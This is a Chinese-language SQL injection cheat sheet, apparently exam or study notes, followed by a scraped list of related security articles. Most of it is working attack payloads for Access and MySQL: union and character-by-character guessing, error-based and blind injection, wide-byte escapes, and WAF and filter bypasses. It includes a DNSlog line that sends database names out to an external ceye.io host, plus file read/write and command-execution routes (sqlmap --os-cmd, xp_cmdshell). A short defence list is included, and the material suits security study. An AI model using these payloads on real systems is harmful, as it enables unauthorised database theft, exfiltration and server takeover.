SQL注入备忘录
备忘录(一)
拿起小本本记下常考知识点。
常用连接词
- and && %23%23 且
- or || %7c%7c 或
- xor 非
Access 数据库:
只能爆破表名、列名获取数据、无法用盲注等
数据主要存储在mdb、sap文件内
0x01 手工:
先判断字段数:
order by xx
在使用联合查询猜测表名列名:
前后两个子查询返回的结构必须相同,且数据类型必须相同,故常用NULL
猜表:union select 1,2,3,xx
猜列:union select 1,2,password,4,5
(如果页面返回正常,则存在password列,猜表同理)
此方法兼容性不强。
0x02 工具:
逐字猜解法:
一、查表:
and exists (select * from 表名)
//这里的表名需要靠猜解,如果表名存在返回正常页面。
二、查列:
将*
换成列名可进行爆破列名,即:and exists (select 列名 from 表名)
三、确定列名下的数据长度:
and (select top 1 len(列名) from 表名)=5
//判断数据长度是否为5,若为5则返回正常
四、逐字猜解数据:
and (select top 1 asc(mid(列名,位数,1)) from 表名)=97
//用mid函数取第x位字母,通过asc函数转化成ascii码进行判断比较,如果ascii为97,即字母a,页面返回正常
mysql数据库:
Version<5.0:
- 爆破
- 盲注
version>=5.0:
information_schema表下存储了Mysql数据库所有的数据库结果信息。
- information_schema.schemeta //Mysql里所有的数据库库名
- information_schema.tables //所有表名
- information_schema.columns //所有列名
常用函数:
- user() //查询数据库用户
- version() //查询版本
- @@basedir() //查询数据库路径
- database() //查询当前数据库名
- @@version_compile_os() //查询操作系统
用法例子:
union select user(),2,3,version(),database(),xxx
可用null代替:
union select user(),null,null,version(),database(),xxx
更多函数:
- concat() //字符串相加
- group_concat() //分组打印
- length() //取字符串长度
- substr(str,pos,len) //str字符串从pos位置开始取len个长度 substring()别名
- mid(str,pos,len) //str字符串从pos位置开始取len个长度
- ascii(str) //返回字符串str的首个字符的ASCII代码值
- ord(str) //str或bool转为ascii
- if(a,b,c) //a为条件,若a正确则返回b,相反返回c.
常用查询:
查询全部数据库名:
select schema_name from information_schema.schemeta limit 0,10
//取前十个
查询指定表名:
select table_name from information_schema.tables where table_schema='sqli'
//若单引号被过滤可用十六进制
查询指定列名:
select column_name from information_schema.columns where table_name='user' and table_schema='sqli'
获取指定数据:
select username,password from sqli.user
(垮库查询)
注释:
%23,
-- X(X为任意字符)
/(MySQL-5.1)
;%00
'or 1=1;%00 'or 1=1 union select 1,2
'
'or 1=1 #
'/!50000or/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/!or*/ 1=1 -- -
nd/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略
宽字节注入:
一、常见:
mysql数据库编码为gbk,且若'被转义成'
使用id=%df%27
,这里的%27
会被变成\%27
即%5c%27
,再加上前边的%df
变成%df%5c%27
,而%df%5c
在gbk字符集中表示汉子: 運,故语句便成id=運'
,成功逃逸出单引号转义(php中通常是addslashes函数,或开启GPC,PHP5.4版本已移除GPC)
二、php函数utf8转gbk产生:
https://xz.aliyun.com/t/1719
报错注入:
floor()和rand()
虚拟表报错原理:
payload:
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
https://www.2cto.com/article/201604/498394.html
extractvalue()
原理:
extractvalue函数的第二个参数格式错误,会返回参数内容
payload:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
updatexml() 同上具有32位长度限制
原理同上
payload:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
// concat 在前后加上 ~ 使数据不符合参数格式从而报错
GeometryCollection()等三重子查询报错
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
exp() Mysql5.5.5+
原理:
exp函数参数过大,转换时溢出报错
payload:
and exp(~(select * from(select user())a))
https://drops.secquan.org/tips/8166
以上类型均为子查询注入
Mysql盲注:
类型
- 布尔盲注
- 时间盲注
布尔盲注:
and ascii(substr(select user(),1,1))>64
如果user()第一位字母Ascii大于64则页面返回正常
时间盲注:
and if(ascii(substr(select user(),1,1))>64,sleep(2),1)
如果user()第一位字母Ascii大于64则页面延迟两秒返回
BENCHMARK(count,expr)
此函数会执行expr函数count此,会造成明显时间延迟,可构造进行时间盲注
常见注入:
- 数字型
- 字符串型
按照注入类型:
+SELECT型 //常用于获取信息,注入处常位于where 后,后可接注释字符保证查询的语法正确。
+INSERT型 //建立新的数据
+UPDATA型 //修改数据
+DELECT型 //删除数据
MYSQL长度限制绕过
MYSQL对于用户输入的超长字符只会warning 而不是error
真实案例: WP注册admin(55个空格)x用户 修改管理员密码
DNSlog注入
select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\');
https://www.cnblogs.com/afanti/p/8047530.html
https://wooyun.js.org/drops/%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E4%B8%AD%E4%BD%BF%E7%94%A8DNS%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html
SQL注入防御:
1.预编译sql
2.限制输入数据类型
3.过滤编码
4.白名单
5.管理数据库用户权限
6.按时维护,打好补丁
SQL注入绕过:
注入中常注意的编码:
- %01-%0D特殊字符绕空格
- &= 在浏览器Url时要进行URL编码 %26 %3d
- 查询字符串中不允许有空格,可用%20,+对其编码
- Cookie注入时,SQL语句中的分号得编码
单引号过滤
若有单引号保护,且无编码二次注入即无漏洞。
若无单引号保护:
字符串可用十六进制表示:0x123456
,也可用concat(char(65)+char(75)+xxx)
注:中间层会将这些编码转换成未编码值
判断注入点时的绕过:
- && 1=1
- && 1=true
- && false
- %23%23 true
- %23%23 '0'=0
- %23%23 'a'='b'='c' //true
- and~!!~if('a'='b'="c",sleep(2),1)
特定字符串被过滤时可用考虑全角字符
绕过WAF
a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)使用特殊符号
g)HTTP参数控制
h)缓冲区溢出
i)整合绕过
与系统直接交互:
load_file()读取文件
into out_file() 写文件
条件:FILE权限,管理员权限默认具有
INTO OUTFILE 与 INTO DOMPFILE的区别
后者适用于二进制文件,会将目标文件写入同一行内;前者适用于文本文件。
MYSQL UDF命令执行:sqlmap: --os-cmd id -v 1
MSSQL:xp_cmdshell
其他:
Boolean注入
如果页面只返回Yes或No,则原sql查询返回的值可能是可bool值,如果过滤不严,可产生boolean注入,如:
and length(database())>10
如果次条件为真切前条件返回真,则页面返回正常。
Cookie注入
注入存在于Cookie中
XFF头注入
注入存在于Header有中的X-Forward-For中,此函数常用于获取客户端真实IP。
堆叠注入
PHP+Mysql不支持
连接符差异:
Oracle: || 是连接符
MSSQL: +
MYSQL: [空格]
相关好文:
SQL注入备忘手册(更新2017-12-11)
巧用DNSlog实现无回显注入
MySQL注入技巧
Mysql报错注入原理分析(count()、rand()、group%20by)
深入了解SQL注入绕过waf和过滤机制
SQL注入备忘录的更多相关文章
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
随机推荐
- 精心整理的十个必须要知道CSS+DIV技巧
1.css font的简写规则 当我们写字体样式的时候,我们也许会这样子写 font-size: 1em; line-height: 1.5em; font-weight: bold; font-s ...
- OI,再见
SDOI2016 因为自己的沙茶犯了低级的沙茶错误而滚粗. day2原可以AK,却因为眼残脑残只拿到90. 由此可见,细节永远不是一个小问题. 想想过去的日子,还真是舍不得. 但过去的终将过去,未来的 ...
- fonts.googleapis.com 字体报错问题解决。
更多内容推荐微信公众号,欢迎关注: 无法加载这些字体是因为,google的网站在国内无法访问造成的.在AdminLTE.css 和AdminLte.less中有如下内容: @import url(ht ...
- 使用 TypeScript 改造构建工具及测试用例
最近的一段时间一直在搞TypeScript,一个巨硬出品.赋予JavaScript语言静态类型和编译的语言. 第一个完全使用TypeScript重构的纯Node.js项目已经上线并稳定运行了. 第二个 ...
- TCP确认延时和Nagle算法
TCP确认延时和Nagle算法 nagle 算法是 发送端 收到前一个报文的确认然后再发送下一个tcp数据.这样可以避免大量的小数据. TCP_NODELAY选项控制. Delay ACK是 ...
- 2016.6.1——Min Stack
Min Stack 本题收获: 1.可以利用两个栈操作. 2.栈的基本操作. 题目: Design a stack that supports push, pop, top, and retrievi ...
- Dream------scala--类的属性和对象私有字段实战详解
Scala类的属性和对象私有字段实战详解 一.类的属性 scala类的属性跟java有比较大的不同,需要注意的是对象的私有(private)字段 1.私有字段:字段必须初始化(当然即使不是私有字段也要 ...
- Servlet笔记3--Servlet生命周期
Servlet生命周期:
- java 多线程 Future callable
面向对象5大设计原则 1.单一职责原则 一个类只包含它相关的方法,增删改查.一个方法只包含单一的功能,增加.一个类最多包含10个方法,一个方法最多50行,一个类最多500行.重复的代码进行封装,Do ...
- Codeforces Round #505
Codeforces Round #505 A. Doggo Recoloring 题目描述:给定一个字符串,每次选择一个在字符串里面出现至少两次的字符,然后将这种字符变成那一种指定的字符,问最终这个 ...